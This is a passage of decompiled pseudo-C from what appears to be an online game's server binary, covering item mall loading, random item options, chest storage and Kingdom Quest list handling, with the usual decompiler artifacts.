funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; v4 = chargedlist; *(_WORD *)gpp.pp_Buffer = 12321; v5 = *(_WORD *)(chargedlist + 6); v6 = 0; *((_WORD *)v3 + 1) = v5; if ( v5 == 4161 ) { v3[4] = *(_BYTE *)(chargedlist + 8); if ( *(_BYTE *)(chargedlist + 8) & 1 ) CChargedItem::Clear((CChargedItem *)((char *)v2 + 91728)); chargedlista = 0; if ( *(_WORD *)(v4 + 9) ) { v7 = (int)(v3 + 7); v8 = v4 + 11; while ( CChargedItem::Add((CChargedItem *)((char *)v11 + 91728), (PROTO_CHARGED_ITEM_INFO *)v8) ) { *(_DWORD *)v7 = *(_DWORD *)v8; *(_DWORD *)(v7 + 4) = *(_DWORD *)(v8 + 4); *(_DWORD *)(v7 + 8) = *(_DWORD *)(v8 + 8); *(_DWORD *)(v7 + 12) = *(_DWORD *)(v8 + 12); v8 += 16; v7 += 16; ++chargedlista; if ( chargedlista >= *(_WORD *)(v4 + 9) ) goto LABEL_10; } v3[4] |= 2u; LABEL_10: v2 = v11; } *((_BYTE *)v2 + 91724) = 1; *(_WORD *)(v3 + 5) = chargedlista; v6 = 0; } else { *(_WORD *)(v3 + 5) = 0; } v9 = 16 * *(_WORD *)(v3 + 5) + 7; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v9) == v6 ) { AssertClass::ac_AssertFail(&shineassert, (const char *)&stru_5A89E0.maa_MobActionStruct.swingdamage, v9); } else { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v2, &gpp); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_FillChargedInven"); } //----- (0046A0D0) -------------------------------------------------------- void __thiscall ItemMall::im_Load(ItemMall *this) { ItemMall *v1; // esi@1 unsigned int v2; // ebx@1 signed int v3; // ebp@1 ItemShop *v4; // eax@3 int v5; // ecx@5 ItemMall *v6; // edx@6 ItemMall::ItemSetList *v7; // ecx@10 char booth; // [sp+Ch] [bp-74h]@1 int v9; // [sp+3Ch] [bp-44h]@1 ItemShop is; // [sp+48h] [bp-38h]@1 unsigned int v11; // [sp+70h] [bp-10h]@14 int v12; // [sp+7Ch] [bp-4h]@1 v1 = this; CCharacterTitleData::CCharacterTitleData((BinaryData *)&booth); is.goodsNo = 0; *(_DWORD *)&is.InxName[0] = 0; *(_DWORD *)&is.InxName[4] = 0; *(_DWORD *)&is.InxName[8] = 0; *(_DWORD *)&is.InxName[12] = 0; *(_DWORD *)&is.InxName[16] = 0; *(_DWORD *)&is.InxName[20] = 0; *(_DWORD *)&is.InxName[24] = 0; *(_DWORD *)&is.InxName[28] = 0; is.Lot = 0; v2 = 0; v12 = 0; BinaryDataBox::bdb_ReadData((BinaryDataBox *)&booth, "../9Data/Shine/ItemShop.shn"); v3 = *(_DWORD *)(v9 + 40); v1->im_Goods = 0; if ( v3 > 0 ) { do { if ( v2 < *(_DWORD *)(v9 + 40) ) v4 = (ItemShop *)CDataReader::GetRecord((CDataReader *)&booth, v2); else v4 = &is; v5 = 0; if ( v1->im_Goods <= 0 ) goto LABEL_17; v6 = v1; while ( v6->im_Booth[0].isl_Code != v4->goodsNo ) { ++v5; v6 = (ItemMall *)((char *)v6 + 88); if ( v5 >= v1->im_Goods ) { ItemMall::im_NewSet(v1, v4); goto LABEL_13; } } v7 = (ItemMall::ItemSetList *)((char *)v1 + 88 * v5); if ( v7 ) ItemMall::im_AddSet(v1, v7, v4); else LABEL_17: ItemMall::im_NewSet(v1, v4); LABEL_13: ++v2; } while ( (signed int)v2 < v3 ); } v12 = -1; CCharacterTitleData::_CCharacterTitleData((BinaryData *)&booth); __security_check_cookie(v11); } //----- (0046A1F0) -------------------------------------------------------- int __cdecl operator_(Name8 *a, Name8 *b) { bool v2; // cf@1 unsigned int v3; // edx@2 unsigned int v4; // esi@2 unsigned int v5; // edx@3 unsigned int v6; // esi@3 unsigned int v7; // edx@4 unsigned int v8; // esi@4 unsigned int v9; // edx@5 unsigned int v10; // esi@5 unsigned int v11; // edx@6 unsigned int v12; // esi@6 unsigned int v13; // edx@7 unsigned int v14; // esi@7 int result; // eax@8 v2 = *(_DWORD *)&b->n8_name[0] < *(_DWORD *)&a->n8_name[0]; if ( *(_DWORD *)&b->n8_name[0] == *(_DWORD *)&a->n8_name[0] && (v3 = *(_DWORD *)&a->n8_name[4], v4 = *(_DWORD *)&b->n8_name[4], v2 = v4 < v3, v4 == v3) && (v5 = *(_DWORD *)&a->n8_name[8], v6 = *(_DWORD *)&b->n8_name[8], v2 = v6 < v5, v6 == v5) && (v7 = *(_DWORD *)&a->n8_name[12], v8 = *(_DWORD *)&b->n8_name[12], v2 = v8 < v7, v8 == v7) && (v9 = *(_DWORD *)&a->n8_name[16], v10 = *(_DWORD *)&b->n8_name[16], v2 = v10 < v9, v10 == v9) && (v11 = *(_DWORD *)&a->n8_name[20], v12 = *(_DWORD *)&b->n8_name[20], v2 = v12 < v11, v12 == v11) && (v13 = *(_DWORD *)&a->n8_name[24], v14 = *(_DWORD *)&b->n8_name[24], v2 = v14 < v13, v14 == v13) ) result = *(_DWORD *)&b->n8_name[28] < *(_DWORD *)&a->n8_name[28]; else result = v2 ? 1 : -1; return result; } //----- (0046A260) -------------------------------------------------------- void __thiscall ItemRandomOption::RandomOptionTable::RandomOptionTable(ItemRandomOption::RandomOptionTable *this) { ItemRandomOption::RandomOptionTable *v1; // esi@1 v1 = this; CardDeck::CardStack::CardStack(&this->rot_CardStack); v1->rot_Array = 0; } //----- (0046A280) -------------------------------------------------------- void __thiscall ItemRandomOption::RandomOptionTable::_RandomOptionTable(ItemRandomOption::RandomOptionTable *this) { ItemRandomOption::RandomOptionTable *v1; // esi@1 v1 = this; if ( this->rot_Array ) operator delete__(this->rot_Array); CardDeck::CardStack::_CardStack(&v1->rot_CardStack); } //----- (0046A2C0) -------------------------------------------------------- ItemRandomOption::RandomOptionDatum *__thiscall ItemRandomOption::RandomOptionTable::operator__(ItemRandomOption::RandomOptionTable *this, char *idx) { ItemRandomOption::RandomOptionTable *v2; // edi@1 const void *v3; // ecx@1 unsigned int v4; // ST08_4@1 void *v5; // eax@1 ItemRandomOption::RandomOptionDatum *result; // eax@2 char *key; // [sp+8h] [bp-44h]@1 char keystr[4]; // [sp+Ch] [bp-40h]@1 int v9; // [sp+10h] [bp-3Ch]@1 int v10; // [sp+14h] [bp-38h]@1 int v11; // [sp+18h] [bp-34h]@1 int v12; // [sp+1Ch] [bp-30h]@1 int v13; // [sp+20h] [bp-2Ch]@1 int v14; // [sp+24h] [bp-28h]@1 int v15; // [sp+28h] [bp-24h]@1 v2 = this; MapBlock::MapDoorBlockElement::MapDoorBlockElement((ItemRandomOption::RandomOptionDatum *)keystr); v15 = 0; v14 = 0; v13 = 0; v12 = 0; v11 = 0; v10 = 0; v9 = 0; *(_DWORD *)keystr = 0; strncpy(keystr, idx, 0x20u); v3 = v2->rot_Array; v4 = v2->rot_DataNumber; key = keystr; v5 = bsearch(&key, v3, v4, 4u, ItemRandomOption::RandomOptionTable::rot_Compare); if ( v5 ) result = *(ItemRandomOption::RandomOptionDatum **)v5; else result = 0; return result; } //----- (0046A360) -------------------------------------------------------- void __thiscall ItemRandomOption::RandomOptionTable::rot_Load(ItemRandomOption::RandomOptionTable *this, Name4 *world) { ItemRandomOption::RandomOptionTable *v2; // edi@1 int v3; // edx@1 int v4; // ecx@1 int v5; // edx@1 unsigned int v6; // ebx@1 int v7; // eax@2 void *v8; // esi@6 unsigned int v9; // eax@7 char *v10; // eax@7 int v11; // edx@7 bool v12; // zf@7 signed int v13; // ebp@10 void *v14; // eax@24 int v15; // esi@24 void *v16; // eax@24 int v17; // ebp@25 int v18; // eax@27 int v19; // ebp@27 void *v20; // esi@29 ItemRandomOption::RandomOptionDatum *v21; // eax@32 int v22; // ecx@32 int v23; // eax@32 int v24; // eax@32 CardDeck::CardStack *v25; // edi@33 ORToken v26; // [sp-18h] [bp-10938h]@6 void *v27; // [sp-14h] [bp-10934h]@6 unsigned int v28; // [sp-10h] [bp-10930h]@6 int v29; // [sp-Ch] [bp-1092Ch]@6 unsigned int v30; // [sp-8h] [bp-10928h]@6 int v31; // [sp-4h] [bp-10924h]@6 char rst; // [sp+13h] [bp-1090Dh]@2 void *v33; // [sp+14h] [bp-1090Ch]@6 ORToken *v34; // [sp+18h] [bp-10908h]@29 int buf; // [sp+1Ch] [bp-10904h]@1 int v36; // [sp+20h] [bp-10900h]@1 int v37; // [sp+24h] [bp-108FCh]@1 int v38; // [sp+28h] [bp-108F8h]@1 char v39; // [sp+2Ch] [bp-108F4h]@1 char path[128]; // [sp+3Ch] [bp-108E4h]@1 OptionReader rot_Reader; // [sp+BCh] [bp-10864h]@1 unsigned int cookie; // [sp+10910h] [bp-10h]@35 int v43; // [sp+1091Ch] [bp-4h]@1 v2 = this; OptionReader::OptionReader(&rot_Reader); v3 = *(_DWORD *)&world->n4_name[4]; buf = *(_DWORD *)&world->n4_name[0]; v4 = *(_DWORD *)&world->n4_name[8]; v36 = v3; v5 = *(_DWORD *)&world->n4_name[12]; v37 = v4; v6 = 0; v43 = 0; v38 = v5; v39 = 0; sprintf(path, "../9Data/Shine/World/%s/RandomOptionTable.txt"); if ( !OptionReader::or_Read(&rot_Reader, path) ) { sprintf(path, "../9Data/Shine/World/RandomOptionTable.txt"); rst = OptionReader::or_Read(&rot_Reader, path); v7 = OptionReader::or_ErrorLine(&rot_Reader); if ( !rst ) { AssertClass::ac_AssertFail( &shineassert, "ItemRandomOption::RandomOptionTable::rot_Load : Error in Table read", v7); ShineExit("ItemRandomOption::RandomOptionTable::rot_Load"); } } for ( v2->rot_DataNumber = 0; ; ++v2->rot_DataNumber ) { v31 = v2->rot_DataNumber; v33 = &v26; v30 = 0; v29 = 0; v28 = 0; v27 = 0; *(_DWORD *)&v26.ort_Name[0] = 0; strncpy(v26.ort_Name, "RandomOptionTable", 0x14u); v8 = OptionReader::or_SelectFromOrder(&rot_Reader, v26, v31); if ( !v8 ) break; v9 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v9; v10 = (char *)&namestring + 256 * v9; *(_DWORD *)v10 = *(_DWORD *)v8; *((_DWORD *)v10 + 1) = *((_DWORD *)v8 + 1); *((_DWORD *)v10 + 2) = *((_DWORD *)v8 + 2); *((_DWORD *)v10 + 3) = *((_DWORD *)v8 + 3); *((_DWORD *)v10 + 4) = *((_DWORD *)v8 + 4); *((_DWORD *)v10 + 5) = *((_DWORD *)v8 + 5); *((_DWORD *)v10 + 6) = *((_DWORD *)v8 + 6); *((_DWORD *)v10 + 7) = *((_DWORD *)v8 + 7); v10[32] = 0; v11 = *((_BYTE *)v8 + 56); v12 = *((_BYTE *)v8 + 35) + *((_BYTE *)v8 + 34) != v11; v33 = (void *)(*((_BYTE *)v8 + 35) + *((_BYTE *)v8 + 34) == v11); if ( v12 ) { AssertClass::ac_AssertFail(&shineassert, "Checksum not match", v10); ShineExit("ItemRandomOption::RandomOptionTable::rot_Load"); } v13 = 0; if ( *((_WORD *)v8 + 19) > 0u ) v13 = 1; if ( *((_WORD *)v8 + 21) > 0u ) ++v13; if ( *((_WORD *)v8 + 23) > 0u ) ++v13; if ( *((_WORD *)v8 + 25) > 0u ) ++v13; if ( *((_WORD *)v8 + 27) > 0u ) ++v13; if ( *((_BYTE *)v8 + 35) > v13 ) { v31 = *((_BYTE *)v8 + 35); AssertClass::ac_AssertFail(&shineassert, "OptionNumber too large", v31); ShineExit("ItemRandomOption::RandomOptionTable::rot_Load"); } } v31 = 4 * v2->rot_DataNumber; v14 = operator new__(v31); v15 = v2->rot_DataNumber; v30 = 57 * v2->rot_DataNumber + 4; v2->rot_Array = (ItemRandomOption::RandomOptionDatum **)v14; v16 = operator new__(v30); v33 = v16; LOBYTE(v43) = 1; if ( v16 ) { v31 = (int)ShineObjectClass::ShineMobileObject::smo_ChineCastCut; v30 = (unsigned int)MapBlock::MapDoorBlockElement::MapDoorBlockElement; v29 = v15; v17 = (int)((char *)v16 + 4); v28 = 57; v27 = (char *)v16 + 4; *(_DWORD *)v16 = v15; _eh_vector_constructor_iterator_(v27, v28, v29, (void (__thiscall *)(void *))v30, (void (__thiscall *)(void *))v31); } else { v17 = 0; } v18 = v2->rot_DataNumber; v2->rot_Array2 = (ItemRandomOption::RandomOptionDatum *)v17; v19 = 0; LOBYTE(v43) = 0; if ( v18 > 0 ) { v33 = 0; do { v31 = v19; v34 = &v26; v30 = 0; v29 = 0; v28 = 0; v27 = 0; *(_DWORD *)&v26.ort_Name[0] = 0; strncpy(v26.ort_Name, "RandomOptionTable", 0x14u); v20 = OptionReader::or_SelectFromOrder(&rot_Reader, v26, v31); if ( v20 == 0 ) { v31 = v2->rot_DataNumber; AssertClass::ac_AssertFail( &shineassert, "ItemRandomOption::RandomOptionTable::rot_Load : rot_DataNumber Mismatch", v19, v31); ShineExit("ItemRandomOption::RandomOptionTable::rot_Load"); } v21 = v2->rot_Array2; v22 = (int)v33; *(_DWORD *)((char *)v33 + (_DWORD)v21) = *(_DWORD *)v20; v23 = (int)((char *)v21 + v22); *(_DWORD *)(v23 + 4) = *((_DWORD *)v20 + 1); *(_DWORD *)(v23 + 8) = *((_DWORD *)v20 + 2); *(_DWORD *)(v23 + 12) = *((_DWORD *)v20 + 3); *(_DWORD *)(v23 + 16) = *((_DWORD *)v20 + 4); *(_DWORD *)(v23 + 20) = *((_DWORD *)v20 + 5); *(_DWORD *)(v23 + 24) = *((_DWORD *)v20 + 6); *(_DWORD *)(v23 + 28) = *((_DWORD *)v20 + 7); *(_BYTE *)(v23 + 32) = *((_BYTE *)v20 + 32); *(_BYTE *)(v23 + 33) = *((_BYTE *)v20 + 33); *(_BYTE *)(v23 + 34) = *((_BYTE *)v20 + 34); *(_BYTE *)(v23 + 35) = *((_BYTE *)v20 + 35); *(_DWORD *)(v23 + 36) = *((_DWORD *)v20 + 9); *(_DWORD *)(v23 + 40) = *((_DWORD *)v20 + 10); *(_DWORD *)(v23 + 44) = *((_DWORD *)v20 + 11); *(_DWORD *)(v23 + 48) = *((_DWORD *)v20 + 12); *(_DWORD *)(v23 + 52) = *((_DWORD *)v20 + 13); *(_BYTE *)(v23 + 56) = *((_BYTE *)v20 + 56); v2->rot_Array[v19] = (ItemRandomOption::RandomOptionDatum *)((char *)v2->rot_Array2 + v22); v24 = v2->rot_DataNumber; ++v19; v33 = (void *)(v22 + 57); } while ( v19 < v24 ); } qsort(v2->rot_Array, v2->rot_DataNumber, 4u, ItemRandomOption::RandomOptionTable::rot_Compare); v25 = &v2->rot_CardStack; do CardDeck::CardStack::cs_InsertTop(v25, v6++); while ( v6 < 5 ); CardDeck::CardStack::cs_Suffle(v25, 10); v43 = -1; OptionReader::_OptionReader(&rot_Reader); __security_check_cookie(cookie); } //----- (0046A750) -------------------------------------------------------- void __thiscall ItemRandomOption::RandomOptionTable::rot_FillOption(ItemRandomOption::RandomOptionTable *this, ItemOptionStorage *option, ItemRandomOption::RandomOptionDatum *datum) { ItemRandomOption::RandomOptionTable *v3; // esi@1 CardDeck::CardStack *v4; // ebp@1 ItemRandomOption::RandomOptionDatum *v5; // edi@1 ItemOptionStorage *v6; // esi@1 int v7; // ebx@1 unsigned __int16 v8; // ax@6 bool v9; // sf@7 unsigned __int8 v10; // of@7 const char *v11; // [sp-8h] [bp-28h]@9 int v12; // [sp-4h] [bp-24h]@9 int optiona; // [sp+24h] [bp+4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ItemRandomOption::RandomOptionTable::rot_FillOption"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemRandomOption::RandomOptionTable::rot_FillOption"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = &v3->rot_CardStack; CardDeck::CardStack::cs_Suffle(&v3->rot_CardStack, 2); v5 = datum; v6 = option; v7 = datum->MinOpCount + RandomBox::operator__(&rndbox, datum->MaxOpCount - datum->MinOpCount + 1); option->fixed.optionnumber.str._bf0 = v5->OptionHide == 0; optiona = 0; while ( v7 > 0 ) { if ( !CardDeck::CardStack::cs_TakeTop(v4, (unsigned int *)&datum) ) { v12 = 0; v11 = "ItemRandomOption::RandomOptionTable::rot_FillOption : cs_TakeTop"; LABEL_11: AssertClass::ac_AssertFail(&shineassert, v11, v12); break; } if ( !CardDeck::CardStack::cs_InsertBottom(v4, (unsigned int)datum) ) { v12 = 0; v11 = "ItemRandomOption::RandomOptionTable::rot_FillOption : cs_InsertBottom"; goto LABEL_11; } if ( v5->StatRange[(_DWORD)datum].MaxStat ) { *(&v6->optionlist[0].itemoption_type + 2 * ((unsigned int)v6->fixed.optionnumber.str._bf0 >> 1) + ((unsigned int)v6->fixed.optionnumber.str._bf0 >> 1)) = (char)datum; v8 = RandomBox::operator__( &rndbox, v5->StatRange[(_DWORD)datum].MaxStat - v5->StatRange[(_DWORD)datum].MinStat + 1); *(unsigned __int16 *)((char *)&v6->optionlist[0].itemoption_value + 2 * ((unsigned int)v6->fixed.optionnumber.str._bf0 >> 1) + ((unsigned int)v6->fixed.optionnumber.str._bf0 >> 1)) = v5->StatRange[(_DWORD)datum].MinStat + v8; v6->fixed.optionnumber.str._bf0 = v6->fixed.optionnumber.str._bf0 & 1 ^ ((v6->fixed.optionnumber.str._bf0 & 0xFE) + 2); --v7; } v10 = __OFSUB__(optiona + 1, 8); v9 = optiona++ - 7 < 0; if ( !(v9 ^ v10) ) break; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ItemRandomOption::RandomOptionTable::rot_FillOption"); } //----- (0046A8F0) -------------------------------------------------------- void __thiscall ItemsInChest::ItemsInChest(ItemsInChest *this) { ItemsInChest *v1; // edx@1 signed int v2; // esi@1 this->iic_Pointer.mask = 8191; this->iic_Pointer.value = 0; v1 = this; v2 = 8192; do { *(_DWORD *)&v1->iic_ItemList[0].iti_registnum.binary.gap0[0] = -1; v1->iic_ItemList[0].iti_registnum.binary._bf4 = -1; v1 = (ItemsInChest *)((char *)v1 + 111); --v2; } while ( v2 ); } //----- (0046A920) -------------------------------------------------------- unsigned __int16 __thiscall ItemsInChest::iic_StoreItem(ItemsInChest *this, ItemTotalInformation *buf) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemsInChest::iic_SearchItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemsInChest::iic_SearchItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemsInChest::iic_SearchItem"); return -1; } //----- (0046A9A0) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_ITEMDB_ITEMTOTALINFORM_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { unsigned __int16 v3; // ax@3 const char *v4; // [sp-8h] [bp-18h]@2 int v5; // [sp-4h] [bp-14h]@2 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_ITEMDB_ITEMTOTALINFORM_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_ITEMDB_ITEMTOTALINFORM_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (*(_DWORD *)&netcmd[3].protocol & *(_DWORD *)&netcmd[1].protocol) == -1 ) { v5 = 0; v4 = "GameDBSession::gds_NC_ITEMDB_ITEMINFORM_INBOX_ACK : Invalid item"; LABEL_5: AssertClass::ac_AssertFail(&shineassert, v4, v5); goto LABEL_6; } v3 = ItemsInChest::iic_StoreItem(&itemsinchest, (ItemTotalInformation *)&netcmd[1]); if ( v3 == -1 ) { v5 = v3 != -1; v4 = "GameDBSession::gds_NC_ITEMDB_ITEMINFORM_INBOX_ACK : store fail"; goto LABEL_5; } LABEL_6: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GameDBSession::gds_NC_ITEMDB_ITEMTOTALINFORM_ACK"); } //----- (0046AA80) -------------------------------------------------------- int __thiscall PROTO_KQ_MAP_INFO::operator_(int this, int a2) { int result; // eax@1 result = this; *(_BYTE *)this = *(_BYTE *)a2; *(_DWORD *)(this + 1) = *(_DWORD *)(a2 + 1); *(_DWORD *)(this + 5) = *(_DWORD *)(a2 + 5); *(_DWORD *)(this + 9) = *(_DWORD *)(a2 + 9); *(_DWORD *)(this + 13) = *(_DWORD *)(a2 + 13); *(_DWORD *)(this + 17) = *(_DWORD *)(a2 + 17); *(_DWORD *)(this + 21) = *(_DWORD *)(a2 + 21); *(_BYTE *)(this + 25) = *(_BYTE *)(a2 + 25); return result; } //----- (0046AAC0) -------------------------------------------------------- void *__thiscall PROTO_KQ_INFO::operator_(void *this, const void *a2) { void *v2; // ebp@1 int v3; // edx@1 int v4; // ecx@1 int v5; // esi@1 signed int v6; // edi@1 int v7; // eax@3 signed int v8; // ecx@3 int v9; // eax@5 signed int v10; // ecx@5 v2 = this; memcpy(this, a2, 0x54u); v3 = (int)((char *)a2 + 101); v4 = (int)((char *)this + 89); v5 = a2 - v2; v6 = 4; do { *(_BYTE *)(v4 - 5) = *(_BYTE *)(v3 - 17); *(_DWORD *)(v4 - 4) = *(_DWORD *)(v3 - 16); *(_DWORD *)v4 = *(_DWORD *)(v5 + v4); *(_DWORD *)(v4 + 4) = *(_DWORD *)(v3 - 8); *(_DWORD *)(v4 + 8) = *(_DWORD *)(v3 - 4); *(_DWORD *)(v4 + 12) = *(_DWORD *)v3; *(_DWORD *)(v4 + 16) = *(_DWORD *)(v3 + 4); *(_BYTE *)(v4 + 20) = *(_BYTE *)(v3 + 8); v3 += 26; v4 += 26; --v6; } while ( v6 ); v7 = (int)((char *)v2 + 188); v8 = 32; do { *(_BYTE *)v7 = *(_BYTE *)(v7 + v5); ++v7; --v8; } while ( v8 ); v9 = (int)((char *)v2 + 220); v10 = 32; do { *(_BYTE *)v9 = *(_BYTE *)(v9 + v5); ++v9; --v10; } while ( v10 ); return v2; } //----- (0046AB90) -------------------------------------------------------- void __thiscall KingdomQuestEntrance::KingdomQuestEntrance(KingdomQuestEntrance *this) { this->kqe_Number.mask = 127; this->kqe_Number.value = 0; } //----- (0046ABB0) -------------------------------------------------------- void __thiscall KingdomQuestEntrance::kqe_entry(KingdomQuestEntrance *this, unsigned __int16 handle) { if ( handle < 0x80u ) ++this->kqe_entrancelist[handle].entrynumber; else AssertClass::ac_AssertFail(&shineassert, "KingdomQuestEntrance::kqe_entry : Subscript over", handle); } //----- (0046ABF0) -------------------------------------------------------- int __cdecl KingdomQuestEntrance::kqe_Compare(const void *a, const void *b) { return *(_DWORD *)b - *(_DWORD *)a; } //----- (0046AC00) -------------------------------------------------------- void __thiscall KingdomQuestGate::KingdomQuestGateKeeper::KingdomQuestGateKeeper(KingdomQuestGate::KingdomQuestGateKeeper *this) { this->baseclass_0.vfptr = (EventReserveBaseVtbl *)&KingdomQuestGate::KingdomQuestGateKeeper::_vftable_; } // 5A90C8: using guessed type int (__fastcall *KingdomQuestGate__KingdomQuestGateKeeper___vftable_)(KingdomQuestGate::KingdomQuestGateKeeper *this); //----- (0046AC20) -------------------------------------------------------- #error "46AC20: undefined or illegal type '#331' (funcsize=29)" //----- (0046AC80) -------------------------------------------------------- int __thiscall KingdomQuest::KQPlayerInform::regnumcomp(KingdomQuest::KQPlayerInform *this, List *lst, unsigned __int16 hnd, KingdomQuest::KQPlayerInform *key) { return this->kqpi_PlyRegnum - key->kqpi_PlyRegnum; } //----- (0046AC90) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)KingdomQuest::KingdomQuestContainer::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5A9958: using guessed type int (__stdcall *KingdomQuest__KingdomQuestContainer___vftable_[3])(__int16 hnd); //----- (0046ACB0) -------------------------------------------------------- ORTable *__thiscall List::l_AllocA(List *this, unsigned __int16 hnd) { ORTable *result; // eax@2 ListStruct *v3; // esi@3 int v4; // eax@3 unsigned __int16 v5; // bx@5 unsigned __int16 v6; // di@9 ListStruct *v7; // esi@9 if ( hnd < this->l_MaxSize ) { v3 = this->l_Array; v4 = hnd; if ( v3[v4].ls_IsActiv ) { result = 0; } else { v5 = v3[v4].ls_Next; if ( v5 == hnd ) { this->l_Finger.empty = -1; } else { v3[v3[v4].ls_Prev].ls_Next = v5; this->l_Array[this->l_Array[v4].ls_Next].ls_Prev = this->l_Array[v4].ls_Prev; if ( this->l_Finger.empty == hnd ) this->l_Finger.empty = this->l_Array[v4].ls_Next; } v6 = this->l_Finger.store; v7 = this->l_Array; if ( v6 == -1 ) { v7[v4].ls_Next = hnd; this->l_Array[v4].ls_Prev = hnd; this->l_Finger.store = hnd; } else { v7[v4].ls_Next = v7[v6].ls_Next; this->l_Array[v4].ls_Prev = this->l_Finger.store; this->l_Array[this->l_Array[this->l_Finger.store].ls_Next].ls_Prev = hnd; this->l_Array[this->l_Finger.store].ls_Next = hnd; } this->l_Array[v4].ls_IsActiv = 1; ++this->l_ListNum; result = this->l_Array[v4].ls_Content; } } else { result = 0; } return result; } //----- (0046ADA0) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, KingdomQuest::KQPlayerInform *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, ele, 0x34u); return 1; } // 46ADB6: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (0046ADE0) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, KingdomQuest::KQPlayerInform *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Next; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0x34u); this->vfptr->l_Free(this, v3); } return 1; } //----- (0046AE30) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, KingdomQuest::KQPlayerInform *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Prev; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0x34u); this->vfptr->l_Free(this, v3); } return 1; } //----- (0046AE80) -------------------------------------------------------- #error "46AE80: undefined or illegal type '#592' (funcsize=53)" //----- (0046AF60) -------------------------------------------------------- KingdomQuest::KQElement *__thiscall KingdomQuest::KingdomQuestContainer::kqc_SearchHandle(KingdomQuest::KingdomQuestContainer *this, unsigned int handle, unsigned __int16 *lsthnd) { KingdomQuest::KingdomQuestContainer *v3; // esi@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // bx@1 unsigned __int16 v6; // ax@1 unsigned __int16 i; // cx@1 int v8; // edx@3 int v9; // edi@4 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "KingdomQuest::KingdomQuestContainer::kqc_SearchHandle"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KingdomQuest::KingdomQuestContainer::kqc_SearchHandle"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->baseclass_0.l_Array; v5 = v3->baseclass_0.l_MaxSize; v6 = v4[v3->baseclass_0.l_Finger.store].ls_Next; for ( i = v4[v6].ls_Next; ; i = v3->baseclass_0.l_Array[i].ls_Next ) { if ( v6 < v5 ) { v8 = (int)&v3->baseclass_0.l_Array[v6]; if ( *(_BYTE *)(v8 + 8) ) { v9 = *(_DWORD *)v8; if ( *(_DWORD *)v8 ) { if ( *(_DWORD *)(v9 + 4) == handle ) { *lsthnd = v6; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "KingdomQuest::KingdomQuestContainer::kqc_SearchHandle"); return (KingdomQuest::KQElement *)v9; } } } } if ( i >= v5 ) break; v6 = i; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "KingdomQuest::KingdomQuestContainer::kqc_SearchHandle"); return 0; } //----- (0046B090) -------------------------------------------------------- #error "46B090: undefined or illegal type '#592' (funcsize=61)" //----- (0046B180) -------------------------------------------------------- char __thiscall KingdomQuest::KingdomQuestContainer::kqc_MapUseCheck(KingdomQuest::KingdomQuestContainer *this, Name3 *map_) { List *v2; // esi@1 int v3; // ecx@1 int v4; // edx@1 char result; // al@1 int (__stdcall **likqmf)(int, __int16); // [sp+Ch] [bp-20h]@1 int v7; // [sp+10h] [bp-1Ch]@1 int v8; // [sp+14h] [bp-18h]@1 int v9; // [sp+18h] [bp-14h]@1 unsigned int v10; // [sp+1Ch] [bp-10h]@1 int v11; // [sp+28h] [bp-4h]@1 v2 = (List *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, 